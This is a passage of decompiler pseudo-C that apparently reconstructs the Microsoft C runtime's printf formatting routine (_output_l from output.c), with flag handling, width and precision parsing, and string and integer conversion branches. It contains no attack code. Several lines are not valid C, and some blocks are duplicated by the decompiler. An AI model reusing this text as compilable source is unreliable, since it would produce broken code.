																 *(__ebp - 0x1c) = __ecx;
																 *(__ebp - 0x10) = 0;
																 *(__ebp - 0x30) = 0xffffffff;
																 *(__ebp - 0xc) = 0;
																goto L209;
															case 2:
																L17:
																__edx =  *((char*)(__ebp - 0x251));
																 *(__ebp - 0x304) =  *((char*)(__ebp - 0x251));
																 *(__ebp - 0x304) =  *(__ebp - 0x304) - 0x20;
																 *(__ebp - 0x304) =  *(__ebp - 0x304) - 0x20;
																__eflags =  *(__ebp - 0x304) - 0x10;
																if( *(__ebp - 0x304) > 0x10) {
																	goto L24;
																}
																L18:
																__ecx =  *(__ebp - 0x304);
																_t63 = __ecx + 0x428130; // 0x498d04
																__edx =  *_t63 & 0x000000ff;
																switch( *((intOrPtr*)(( *_t63 & 0x000000ff) * 4 +  &M00428118))) {
																	case 0:
																		goto L21;
																	case 1:
																		goto L22;
																	case 2:
																		goto L20;
																	case 3:
																		goto L19;
																	case 4:
																		goto L23;
																	case 5:
																		goto L24;
																}
															case 3:
																L25:
																__edx =  *((char*)(__ebp - 0x251));
																__eflags =  *((char*)(__ebp - 0x251)) - 0x2a;
																if( *((char*)(__ebp - 0x251)) != 0x2a) {
																	__eax =  *(__ebp - 0x18);
																	__eax =  *(__ebp - 0x18) * 0xa;
																	__eflags = __eax;
																	__ecx =  *((char*)(__ebp - 0x251));
																	_t87 = __ecx - 0x30; // -48
																	__edx = __eax + _t87;
																	 *(__ebp - 0x18) = __eax + _t87;
																} else {
																	__eax = __ebp + 0x14;
																	 *(__ebp - 0x18) = E00428200(__ebp + 0x14);
																	__eflags =  *(__ebp - 0x18);
																	if( *(__ebp - 0x18) < 0) {
																		__ecx =  *(__ebp - 0x10);
																		__ecx =  *(__ebp - 0x10) | 0x00000004;
																		__eflags = __ecx;
																		 *(__ebp - 0x10) = __ecx;
																		 *(__ebp - 0x18) =  ~( *(__ebp - 0x18));
																		 *(__ebp - 0x18) =  ~( *(__ebp - 0x18));
																	}
																}
																L30:
																goto L209;
															case 4:
																L31:
																 *(__ebp - 0x30) = 0;
																goto L209;
															case 5:
																L32:
																__eax =  *((char*)(__ebp - 0x251));
																__eflags =  *((char*)(__ebp - 0x251)) - 0x2a;
																if( *((char*)(__ebp - 0x251)) != 0x2a) {
																	__edx =  *(__ebp - 0x30);
																	__edx =  *(__ebp - 0x30) * 0xa;
																	__eflags = __edx;
																	_t98 =  *((char*)(__ebp - 0x251)) - 0x30; // -48
																	__ecx = __edx + _t98;
																	 *(__ebp - 0x30) = __ecx;
																} else {
																	__ecx = __ebp + 0x14;
																	 *(__ebp - 0x30) = E00428200(__ebp + 0x14);
																	__eflags =  *(__ebp - 0x30);
																	if( *(__ebp - 0x30) < 0) {
																		 *(__ebp - 0x30) = 0xffffffff;
																	}
																}
																goto L209;
															case 6:
																L38:
																__edx =  *((char*)(__ebp - 0x251));
																 *(__ebp - 0x308) =  *((char*)(__ebp - 0x251));
																 *(__ebp - 0x308) =  *(__ebp - 0x308) - 0x49;
																 *(__ebp - 0x308) =  *(__ebp - 0x308) - 0x49;
																__eflags =  *(__ebp - 0x308) - 0x2e;
																if( *(__ebp - 0x308) > 0x2e) {
																	L61:
																	goto L209;
																}
																L39:
																__ecx =  *(__ebp - 0x308);
																_t106 = __ecx + 0x428158; // 0x7a0f9003
																__edx =  *_t106 & 0x000000ff;
																switch( *((intOrPtr*)(( *_t106 & 0x000000ff) * 4 +  &M00428144))) {
																	case 0:
																		L44:
																		__edx =  *(__ebp + 0xc);
																		__eax =  *( *(__ebp + 0xc));
																		__eflags =  *( *(__ebp + 0xc)) - 0x36;
																		if( *( *(__ebp + 0xc)) != 0x36) {
																			L47:
																			__edx =  *(__ebp + 0xc);
																			__eax =  *( *(__ebp + 0xc));
																			__eflags =  *( *(__ebp + 0xc)) - 0x33;
																			if( *( *(__ebp + 0xc)) != 0x33) {
																				L50:
																				__edx =  *(__ebp + 0xc);
																				__eax =  *( *(__ebp + 0xc));
																				__eflags =  *( *(__ebp + 0xc)) - 0x64;
																				if( *( *(__ebp + 0xc)) == 0x64) {
																					L56:
																					L58:
																					goto L61;
																				}
																				L51:
																				__ecx =  *(__ebp + 0xc);
																				__edx =  *__ecx;
																				__eflags =  *__ecx - 0x69;
																				if( *__ecx == 0x69) {
																					goto L56;
																				}
																				L52:
																				__eax =  *(__ebp + 0xc);
																				__ecx =  *( *(__ebp + 0xc));
																				__eflags = __ecx - 0x6f;
																				if(__ecx == 0x6f) {
																					goto L56;
																				}
																				L53:
																				__edx =  *(__ebp + 0xc);
																				__eax =  *( *(__ebp + 0xc));
																				__eflags =  *( *(__ebp + 0xc)) - 0x75;
																				if( *( *(__ebp + 0xc)) == 0x75) {
																					goto L56;
																				}
																				L54:
																				__ecx =  *(__ebp + 0xc);
																				__edx =  *__ecx;
																				__eflags =  *__ecx - 0x78;
																				if( *__ecx == 0x78) {
																					goto L56;
																				}
																				L55:
																				__eax =  *(__ebp + 0xc);
																				__ecx =  *( *(__ebp + 0xc));
																				__eflags = __ecx - 0x58;
																				if(__ecx != 0x58) {
																					 *(__ebp - 0x25c) = 0;
																					goto L9;
																				}
																				goto L56;
																			}
																			L48:
																			__ecx =  *(__ebp + 0xc);
																			__edx =  *((char*)(__ecx + 1));
																			__eflags =  *((char*)(__ecx + 1)) - 0x32;
																			if( *((char*)(__ecx + 1)) != 0x32) {
																				goto L50;
																			} else {
																				 *(__ebp + 0xc) =  *(__ebp + 0xc) + 2;
																				 *(__ebp + 0xc) =  *(__ebp + 0xc) + 2;
																				__ecx =  *(__ebp - 0x10);
																				__ecx =  *(__ebp - 0x10) & 0xffff7fff;
																				 *(__ebp - 0x10) = __ecx;
																				goto L58;
																			}
																		}
																		L45:
																		__ecx =  *(__ebp + 0xc);
																		__edx =  *((char*)(__ecx + 1));
																		__eflags =  *((char*)(__ecx + 1)) - 0x34;
																		if( *((char*)(__ecx + 1)) != 0x34) {
																			goto L47;
																		} else {
																			 *(__ebp + 0xc) =  *(__ebp + 0xc) + 2;
																			 *(__ebp + 0xc) =  *(__ebp + 0xc) + 2;
																			__ecx =  *(__ebp - 0x10);
																			__ecx =  *(__ebp - 0x10) | 0x00008000;
																			 *(__ebp - 0x10) = __ecx;
																			goto L58;
																		}
																	case 1:
																		L59:
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000020;
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000020;
																		goto L61;
																	case 2:
																		L40:
																		__eax =  *(__ebp + 0xc);
																		__ecx =  *( *(__ebp + 0xc));
																		__eflags = __ecx - 0x6c;
																		if(__ecx != 0x6c) {
																			__ecx =  *(__ebp - 0x10);
																			__ecx =  *(__ebp - 0x10) | 0x00000010;
																			__eflags = __ecx;
																			 *(__ebp - 0x10) = __ecx;
																		} else {
																			 *(__ebp + 0xc) =  *(__ebp + 0xc) + 1;
																			 *(__ebp + 0xc) =  *(__ebp + 0xc) + 1;
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00001000;
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00001000;
																		}
																		goto L61;
																	case 3:
																		L60:
																		__eax =  *(__ebp - 0x10);
																		__eax =  *(__ebp - 0x10) | 0x00000800;
																		__eflags = __eax;
																		 *(__ebp - 0x10) = __eax;
																		goto L61;
																	case 4:
																		goto L61;
																}
															case 7:
																L62:
																__ecx =  *((char*)(__ebp - 0x251));
																 *(__ebp - 0x30c) = __ecx;
																 *(__ebp - 0x30c) =  *(__ebp - 0x30c) - 0x41;
																 *(__ebp - 0x30c) =  *(__ebp - 0x30c) - 0x41;
																__eflags =  *(__ebp - 0x30c) - 0x37;
																if( *(__ebp - 0x30c) > 0x37) {
																	while(1) {
																		L181:
																		__eflags =  *(__ebp - 0x28);
																		if( *(__ebp - 0x28) != 0) {
																			goto L207;
																		}
																		goto L182;
																	}
																}
																L63:
																_t147 =  *(__ebp - 0x30c) + 0x4281c4; // 0xcccccc0d
																__ecx =  *_t147 & 0x000000ff;
																switch( *((intOrPtr*)(__ecx * 4 +  &M00428188))) {
																	case 0:
																		L114:
																		 *(__ebp - 0x2c) = 1;
																		__ecx =  *((char*)(__ebp - 0x251));
																		__ecx =  *((char*)(__ebp - 0x251)) + 0x20;
																		__eflags = __ecx;
																		 *((char*)(__ebp - 0x251)) = __cl;
																		goto L115;
																	case 1:
																		L64:
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000830;
																		__eflags =  *(__ebp - 0x10) & 0x00000830;
																		if(( *(__ebp - 0x10) & 0x00000830) == 0) {
																			__eax =  *(__ebp - 0x10);
																			__eax =  *(__ebp - 0x10) | 0x00000800;
																			__eflags = __eax;
																			 *(__ebp - 0x10) = __eax;
																		}
																		goto L66;
																	case 2:
																		L79:
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000830;
																		__eflags =  *(__ebp - 0x10) & 0x00000830;
																		if(( *(__ebp - 0x10) & 0x00000830) == 0) {
																			__ecx =  *(__ebp - 0x10);
																			__ecx =  *(__ebp - 0x10) | 0x00000800;
																			__eflags = __ecx;
																			 *(__ebp - 0x10) = __ecx;
																		}
																		goto L81;
																	case 3:
																		L137:
																		 *(__ebp - 0x260) = 7;
																		goto L139;
																	case 4:
																		L72:
																		__eax = __ebp + 0x14;
																		 *(__ebp - 0x284) = E00428200(__ebp + 0x14);
																		__eflags =  *(__ebp - 0x284);
																		if( *(__ebp - 0x284) == 0) {
																			L74:
																			__edx =  *0x440f80; // 0x404478
																			 *(__ebp - 4) = __edx;
																			__eax =  *(__ebp - 4);
																			 *(__ebp - 0x24) = E0041DCC0( *(__ebp - 4));
																			L78:
																			goto L181;
																		}
																		L73:
																		__ecx =  *(__ebp - 0x284);
																		__eflags =  *(__ecx + 4);
																		if( *(__ecx + 4) != 0) {
																			L75:
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000800;
																			__eflags =  *(__ebp - 0x10) & 0x00000800;
																			if(( *(__ebp - 0x10) & 0x00000800) == 0) {
																				 *(__ebp - 0xc) = 0;
																				__edx =  *(__ebp - 0x284);
																				__eax =  *(__edx + 4);
																				 *(__ebp - 4) =  *(__edx + 4);
																				__ecx =  *(__ebp - 0x284);
																				__edx =  *__ecx;
																				 *(__ebp - 0x24) =  *__ecx;
																			} else {
																				__edx =  *(__ebp - 0x284);
																				__eax =  *(__edx + 4);
																				 *(__ebp - 4) =  *(__edx + 4);
																				__ecx =  *(__ebp - 0x284);
																				__eax =  *__ecx;
																				asm("cdq");
																				 *__ecx - __edx =  *__ecx - __edx >> 1;
																				 *(__ebp - 0x24) =  *__ecx - __edx >> 1;
																				 *(__ebp - 0xc) = 1;
																			}
																			goto L78;
																		}
																		goto L74;
																	case 5:
																		L115:
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
																		__eax = __ebp - 0x248;
																		 *(__ebp - 4) = __ebp - 0x248;
																		 *(__ebp - 0x44) = 0x200;
																		__eflags =  *(__ebp - 0x30);
																		if( *(__ebp - 0x30) >= 0) {
																			L117:
																			__eflags =  *(__ebp - 0x30);
																			if( *(__ebp - 0x30) != 0) {
																				L120:
																				__eflags =  *(__ebp - 0x30) - 0x200;
																				if( *(__ebp - 0x30) > 0x200) {
																					 *(__ebp - 0x30) = 0x200;
																				}
																				L122:
																				__eflags =  *(__ebp - 0x30) - 0xa3;
																				if( *(__ebp - 0x30) > 0xa3) {
																					 *(__ebp - 0x30) =  *(__ebp - 0x30) + 0x15d;
																					 *(__ebp - 0x20) = L0041B760(__ecx,  *(__ebp - 0x30) + 0x15d, 2, "f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x6da);
																					__eflags =  *(__ebp - 0x20);
																					if( *(__ebp - 0x20) == 0) {
																						 *(__ebp - 0x30) = 0xa3;
																					} else {
																						__eax =  *(__ebp - 0x20);
																						 *(__ebp - 4) =  *(__ebp - 0x20);
																						 *(__ebp - 0x30) =  *(__ebp - 0x30) + 0x15d;
																						 *(__ebp - 0x44) =  *(__ebp - 0x30) + 0x15d;
																					}
																				}
																				 *(__ebp + 0x14) =  *(__ebp + 0x14) + 8;
																				 *(__ebp + 0x14) =  *(__ebp + 0x14) + 8;
																				__eax =  *(__ebp + 0x14);
																				_t274 = __eax - 8; // 0xe852f855
																				__ecx =  *_t274;
																				_t275 = __eax - 4; // 0xbc20
																				__edx =  *_t275;
																				 *(__ebp - 0x2a0) =  *_t274;
																				 *(__ebp - 0x29c) =  *_t275;
																				__ecx = __ebp - 0x40;
																				_push(E0041ACF0(__ebp - 0x40));
																				__eax =  *(__ebp - 0x2c);
																				_push( *(__ebp - 0x2c));
																				__ecx =  *(__ebp - 0x30);
																				_push( *(__ebp - 0x30));
																				__edx =  *((char*)(__ebp - 0x251));
																				_push( *((char*)(__ebp - 0x251)));
																				__eax =  *(__ebp - 0x44);
																				_push( *(__ebp - 0x44));
																				__ecx =  *(__ebp - 4);
																				_push( *(__ebp - 4));
																				__edx = __ebp - 0x2a0;
																				_push(__ebp - 0x2a0);
																				__eax =  *0x440374; // 0x4b3bc1ec
																				__eax =  *__eax();
																				__esp = __esp + 0x1c;
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
																				__eflags =  *(__ebp - 0x10) & 0x00000080;
																				if(( *(__ebp - 0x10) & 0x00000080) != 0) {
																					__eflags =  *(__ebp - 0x30);
																					if( *(__ebp - 0x30) == 0) {
																						__ecx = __ebp - 0x40;
																						_push(E0041ACF0(__ebp - 0x40));
																						__edx =  *(__ebp - 4);
																						_push( *(__ebp - 4));
																						__eax =  *0x440380; // 0x4b248c6c
																						__eax =  *__eax();
																						__esp = __esp + 8;
																					}
																				}
																				__ecx =  *((char*)(__ebp - 0x251));
																				__eflags =  *((char*)(__ebp - 0x251)) - 0x67;
																				if( *((char*)(__ebp - 0x251)) == 0x67) {
																					 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
																					__eflags =  *(__ebp - 0x10) & 0x00000080;
																					if(( *(__ebp - 0x10) & 0x00000080) == 0) {
																						__ecx = __ebp - 0x40;
																						_push(E0041ACF0(__ebp - 0x40));
																						__eax =  *(__ebp - 4);
																						_push( *(__ebp - 4));
																						__ecx =  *0x44037c; // 0x4b24956c
																						E00424560(__ecx) =  *__eax();
																						__esp = __esp + 8;
																					}
																				}
																				__edx =  *(__ebp - 4);
																				__eax =  *( *(__ebp - 4));
																				__eflags =  *( *(__ebp - 4)) - 0x2d;
																				if( *( *(__ebp - 4)) == 0x2d) {
																					 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
																					 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
																					__edx =  *(__ebp - 4);
																					__edx =  *(__ebp - 4) + 1;
																					__eflags = __edx;
																					 *(__ebp - 4) = __edx;
																				}
																				__eax =  *(__ebp - 4);
																				 *(__ebp - 0x24) = E0041DCC0( *(__ebp - 4));
																				do {
																					L181:
																					__eflags =  *(__ebp - 0x28);
																					if( *(__ebp - 0x28) != 0) {
																						goto L207;
																					}
																					goto L182;
																				} while ( *(__ebp - 0x30c) > 0x37);
																				goto L63;
																			}
																			L118:
																			__ecx =  *((char*)(__ebp - 0x251));
																			__eflags = __ecx - 0x67;
																			if(__ecx != 0x67) {
																				goto L120;
																			}
																			L119:
																			 *(__ebp - 0x30) = 1;
																			goto L122;
																		}
																		L116:
																		 *(__ebp - 0x30) = 6;
																		goto L122;
																	case 6:
																		L66:
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000810;
																		__eflags =  *(__ebp - 0x10) & 0x00000810;
																		if(( *(__ebp - 0x10) & 0x00000810) == 0) {
																			L70:
																			__ebp + 0x14 = E00428200(__ebp + 0x14);
																			 *(__ebp - 0x280) = __ax;
																			__cl =  *(__ebp - 0x280);
																			 *(__ebp - 0x248) = __cl;
																			 *(__ebp - 0x24) = 1;
																			L71:
																			__edx = __ebp - 0x248;
																			 *(__ebp - 4) = __ebp - 0x248;
																			while(1) {
																				L181:
																				__eflags =  *(__ebp - 0x28);
																				if( *(__ebp - 0x28) != 0) {
																					goto L207;
																				}
																				goto L182;
																			}
																		}
																		L67:
																		 *(__ebp - 0x27c) = 0;
																		__edx = __ebp + 0x14;
																		__eax = E00428240(__ebp + 0x14);
																		 *(__ebp - 0x258) = __ax;
																		__eax =  *(__ebp - 0x258) & 0x0000ffff;
																		__ecx = __ebp - 0x248;
																		__edx = __ebp - 0x24;
																		 *(__ebp - 0x27c) = E004340D0(__ebp - 0x24, __ebp - 0x248, 0x200,  *(__ebp - 0x258) & 0x0000ffff);
																		__eflags =  *(__ebp - 0x27c);
																		if( *(__ebp - 0x27c) != 0) {
																			 *(__ebp - 0x28) = 1;
																		}
																		L69:
																		goto L71;
																	case 7:
																		L135:
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
																		 *(__ebp - 8) = 0xa;
																		goto L144;
																	case 8:
																		L100:
																		__ecx = __ebp + 0x14;
																		 *(__ebp - 0x294) = E00428200(__ebp + 0x14);
																		__eax = E00433DB0();
																		__eflags = __eax;
																		if(__eax != 0) {
																			L110:
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000020;
																			__eflags =  *(__ebp - 0x10) & 0x00000020;
																			if(( *(__ebp - 0x10) & 0x00000020) == 0) {
																				__edx =  *(__ebp - 0x294);
																				__eax =  *(__ebp - 0x24c);
																				 *( *(__ebp - 0x294)) =  *(__ebp - 0x24c);
																			} else {
																				__eax =  *(__ebp - 0x294);
																				 *( *(__ebp - 0x294)) =  *(__ebp - 0x24c);
																			}
																			 *(__ebp - 0x28) = 1;
																			while(1) {
																				L181:
																				__eflags =  *(__ebp - 0x28);
																				if( *(__ebp - 0x28) != 0) {
																					goto L207;
																				}
																				goto L182;
																			}
																		}
																		L101:
																		__edx = 0;
																		__eflags = 0;
																		if(0 == 0) {
																			 *(__ebp - 0x314) = 0;
																		} else {
																			 *(__ebp - 0x314) = 1;
																		}
																		__eax =  *(__ebp - 0x314);
																		 *(__ebp - 0x298) =  *(__ebp - 0x314);
																		__eflags =  *(__ebp - 0x298);
																		if( *(__ebp - 0x298) == 0) {
																			_push(L"(\"\'n\' format specifier disabled\", 0)");
																			_push(0);
																			_push(0x695);
																			_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c");
																			_push(2);
																			__eax = L0041E220();
																			__esp = __esp + 0x14;
																			__eflags = __eax - 1;
																			if(__eax == 1) {
																				asm("int3");
																			}
																		}
																		__eflags =  *(__ebp - 0x298);
																		if( *(__ebp - 0x298) != 0) {
																			L109:
																			while(1) {
																				L181:
																				__eflags =  *(__ebp - 0x28);
																				if( *(__ebp - 0x28) != 0) {
																					goto L207;
																				}
																				goto L182;
																			}
																		} else {
																			L108:
																			 *((intOrPtr*)(L00422D10(__ecx))) = 0x16;
																			__eax = E00422AA0(__ebx, __ecx, __edi, __esi, L"(\"\'n\' format specifier disabled\", 0)", L"_output_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x695, 0);
																			 *(__ebp - 0x2e8) = 0xffffffff;
																			__ecx = __ebp - 0x40;
																			__eax = E0041ACC0(__ecx);
																			__eax =  *(__ebp - 0x2e8);
																			L211:
																			return E0042BB60(_t478, _t497,  *(_t524 - 0x48) ^ _t524, _t513, _t522, _t523);
																		}
																	case 9:
																		L142:
																		 *(__ebp - 8) = 8;
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
																		__eflags =  *(__ebp - 0x10) & 0x00000080;
																		if(( *(__ebp - 0x10) & 0x00000080) != 0) {
																			__edx =  *(__ebp - 0x10);
																			__edx =  *(__ebp - 0x10) | 0x00000200;
																			__eflags = __edx;
																			 *(__ebp - 0x10) = __edx;
																		}
																		L144:
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00008000;
																		__eflags =  *(__ebp - 0x10) & 0x00008000;
																		if(( *(__ebp - 0x10) & 0x00008000) == 0) {
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00001000;
																			__eflags =  *(__ebp - 0x10) & 0x00001000;
																			if(( *(__ebp - 0x10) & 0x00001000) == 0) {
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000020;
																				__eflags =  *(__ebp - 0x10) & 0x00000020;
																				if(( *(__ebp - 0x10) & 0x00000020) == 0) {
																					 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
																					__eflags =  *(__ebp - 0x10) & 0x00000040;
																					if(( *(__ebp - 0x10) & 0x00000040) == 0) {
																						__ecx = __ebp + 0x14;
																						__eax = E00428200(__ebp + 0x14);
																						__edx = 0;
																						__eflags = 0;
																						 *(__ebp - 0x2b0) = __eax;
																						 *(__ebp - 0x2ac) = 0;
																					} else {
																						__eax = __ebp + 0x14;
																						__eax = E00428200(__ebp + 0x14);
																						asm("cdq");
																						 *(__ebp - 0x2b0) = __eax;
																						 *(__ebp - 0x2ac) = __edx;
																					}
																				} else {
																					 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
																					__eflags =  *(__ebp - 0x10) & 0x00000040;
																					if(( *(__ebp - 0x10) & 0x00000040) == 0) {
																						__ecx = __ebp + 0x14;
																						E00428200(__ebp + 0x14) = __ax & 0x0000ffff;
																						asm("cdq");
																						 *(__ebp - 0x2b0) = __ax & 0x0000ffff;
																						 *(__ebp - 0x2ac) = __edx;
																					} else {
																						__eax = __ebp + 0x14;
																						__eax = E00428200(__ebp + 0x14);
																						__ax = __eax;
																						asm("cdq");
																						 *(__ebp - 0x2b0) = __eax;
																						 *(__ebp - 0x2ac) = __edx;
																					}
																				}
																			} else {
																				__eax = __ebp + 0x14;
																				 *(__ebp - 0x2b0) = E00428220(__ebp + 0x14);
																				 *(__ebp - 0x2ac) = __edx;
																			}
																		} else {
																			__ecx = __ebp + 0x14;
																			 *(__ebp - 0x2b0) = E00428220(__ebp + 0x14);
																			 *(__ebp - 0x2ac) = __edx;
																		}
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
																		__eflags =  *(__ebp - 0x10) & 0x00000040;
																		if(( *(__ebp - 0x10) & 0x00000040) == 0) {
																			goto L161;
																		}
																	case 0xa:
																		goto L0;
																	case 0xb:
																		L81:
																		__eflags =  *(__ebp - 0x30) - 0xffffffff;
																		if( *(__ebp - 0x30) != 0xffffffff) {
																			__edx =  *(__ebp - 0x30);
																			 *(__ebp - 0x310) =  *(__ebp - 0x30);
																		} else {
																			 *(__ebp - 0x310) = 0x7fffffff;
																		}
																		__eax =  *(__ebp - 0x310);
																		 *(__ebp - 0x28c) =  *(__ebp - 0x310);
																		__ecx = __ebp + 0x14;
																		 *(__ebp - 4) = E00428200(__ebp + 0x14);
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000810;
																		__eflags =  *(__ebp - 0x10) & 0x00000810;
																		if(( *(__ebp - 0x10) & 0x00000810) == 0) {
																			L92:
																			__eflags =  *(__ebp - 4);
																			if( *(__ebp - 4) == 0) {
																				__edx =  *0x440f80; // 0x404478
																				 *(__ebp - 4) = __edx;
																			}
																			__eax =  *(__ebp - 4);
																			 *(__ebp - 0x288) =  *(__ebp - 4);
																			while(1) {
																				L95:
																				__ecx =  *(__ebp - 0x28c);
																				 *(__ebp - 0x28c) =  *(__ebp - 0x28c) - 1;
																				 *(__ebp - 0x28c) =  *(__ebp - 0x28c) - 1;
																				__eflags = __ecx;
																				if(__ecx == 0) {
																					break;
																				}
																				L96:
																				__eax =  *(__ebp - 0x288);
																				__ecx =  *( *(__ebp - 0x288));
																				__eflags = __ecx;
																				if(__ecx == 0) {
																					break;
																				}
																				L97:
																				 *(__ebp - 0x288) =  *(__ebp - 0x288) + 1;
																				 *(__ebp - 0x288) =  *(__ebp - 0x288) + 1;
																			}
																			L98:
																			__eax =  *(__ebp - 0x288);
																			__eax =  *(__ebp - 0x288) -  *(__ebp - 4);
																			__eflags = __eax;
																			 *(__ebp - 0x24) = __eax;
																			goto L99;
																		} else {
																			L85:
																			__eflags =  *(__ebp - 4);
																			if( *(__ebp - 4) == 0) {
																				__eax =  *0x440f84; // 0x404468
																				 *(__ebp - 4) = __eax;
																			}
																			 *(__ebp - 0xc) = 1;
																			__ecx =  *(__ebp - 4);
																			 *(__ebp - 0x290) =  *(__ebp - 4);
																			while(1) {
																				L88:
																				__edx =  *(__ebp - 0x28c);
																				 *(__ebp - 0x28c) =  *(__ebp - 0x28c) - 1;
																				 *(__ebp - 0x28c) =  *(__ebp - 0x28c) - 1;
																				__eflags =  *(__ebp - 0x28c);
																				if( *(__ebp - 0x28c) == 0) {
																					break;
																				}
																				L89:
																				__ecx =  *(__ebp - 0x290);
																				__edx =  *( *(__ebp - 0x290)) & 0x0000ffff;
																				__eflags =  *( *(__ebp - 0x290)) & 0x0000ffff;
																				if(( *( *(__ebp - 0x290)) & 0x0000ffff) == 0) {
																					break;
																				}
																				L90:
																				 *(__ebp - 0x290) =  *(__ebp - 0x290) + 2;
																				 *(__ebp - 0x290) =  *(__ebp - 0x290) + 2;
																			}
																			L91:
																			 *(__ebp - 0x290) =  *(__ebp - 0x290) -  *(__ebp - 4);
																			__ecx =  *(__ebp - 0x290) -  *(__ebp - 4) >> 1;
																			 *(__ebp - 0x24) = __ecx;
																			L99:
																			while(1) {
																				L181:
																				__eflags =  *(__ebp - 0x28);
																				if( *(__ebp - 0x28) != 0) {
																					goto L207;
																				}
																				goto L182;
																			}
																		}
																	case 0xc:
																		L136:
																		 *(__ebp - 8) = 0xa;
																		while(1) {
																			L144:
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00008000;
																			__eflags =  *(__ebp - 0x10) & 0x00008000;
																			if(( *(__ebp - 0x10) & 0x00008000) == 0) {
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00001000;
																				__eflags =  *(__ebp - 0x10) & 0x00001000;
																				if(( *(__ebp - 0x10) & 0x00001000) == 0) {
																					 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000020;
																					__eflags =  *(__ebp - 0x10) & 0x00000020;
																					if(( *(__ebp - 0x10) & 0x00000020) == 0) {
																						 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
																						__eflags =  *(__ebp - 0x10) & 0x00000040;
																						if(( *(__ebp - 0x10) & 0x00000040) == 0) {
																							__ecx = __ebp + 0x14;
																							__eax = E00428200(__ebp + 0x14);
																							__edx = 0;
																							__eflags = 0;
																							 *(__ebp - 0x2b0) = __eax;
																							 *(__ebp - 0x2ac) = 0;
																						} else {
																							__eax = __ebp + 0x14;
																							__eax = E00428200(__ebp + 0x14);
																							asm("cdq");
																							 *(__ebp - 0x2b0) = __eax;
																							 *(__ebp - 0x2ac) = __edx;
																						}
																					} else {
																						 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
																						__eflags =  *(__ebp - 0x10) & 0x00000040;
																						if(( *(__ebp - 0x10) & 0x00000040) == 0) {
																							__ecx = __ebp + 0x14;
																							E00428200(__ebp + 0x14) = __ax & 0x0000ffff;
																							asm("cdq");
																							 *(__ebp - 0x2b0) = __ax & 0x0000ffff;
																							 *(__ebp - 0x2ac) = __edx;
																						} else {
																							__eax = __ebp + 0x14;
																							__eax = E00428200(__ebp + 0x14);
																							__ax = __eax;
																							asm("cdq");
																							 *(__ebp - 0x2b0) = __eax;
																							 *(__ebp - 0x2ac) = __edx;
																						}
																					}
																				} else {
																					__eax = __ebp + 0x14;
																					 *(__ebp - 0x2b0) = E00428220(__ebp + 0x14);
																					 *(__ebp - 0x2ac) = __edx;
																				}
																			} else {
																				__ecx = __ebp + 0x14;
																				 *(__ebp - 0x2b0) = E00428220(__ebp + 0x14);
																				 *(__ebp - 0x2ac) = __edx;
																			}
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
																			__eflags =  *(__ebp - 0x10) & 0x00000040;
																			if(( *(__ebp - 0x10) & 0x00000040) == 0) {
																				goto L161;
																			}
																			goto L157;
																		}
																	case 0xd:
																		L138:
																		 *(__ebp - 0x260) = 0x27;
																		L139:
																		 *(__ebp - 8) = 0x10;
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
																		__eflags =  *(__ebp - 0x10) & 0x00000080;
																		if(( *(__ebp - 0x10) & 0x00000080) != 0) {
																			 *(__ebp - 0x14) = 0x30;
																			 *(__ebp - 0x260) =  *(__ebp - 0x260) + 0x51;
																			__eflags =  *(__ebp - 0x260) + 0x51;
																			 *((char*)(__ebp - 0x13)) = __al;
																			 *(__ebp - 0x1c) = 2;
																		}
																		while(1) {
																			L144:
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00008000;
																			__eflags =  *(__ebp - 0x10) & 0x00008000;
																			if(( *(__ebp - 0x10) & 0x00008000) == 0) {
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00001000;
																				__eflags =  *(__ebp - 0x10) & 0x00001000;
																				if(( *(__ebp - 0x10) & 0x00001000) == 0) {
																					 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000020;
																					__eflags =  *(__ebp - 0x10) & 0x00000020;
																					if(( *(__ebp - 0x10) & 0x00000020) == 0) {
																						 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
																						__eflags =  *(__ebp - 0x10) & 0x00000040;
																						if(( *(__ebp - 0x10) & 0x00000040) == 0) {
																							__ecx = __ebp + 0x14;
																							__eax = E00428200(__ebp + 0x14);
																							__edx = 0;
																							__eflags = 0;
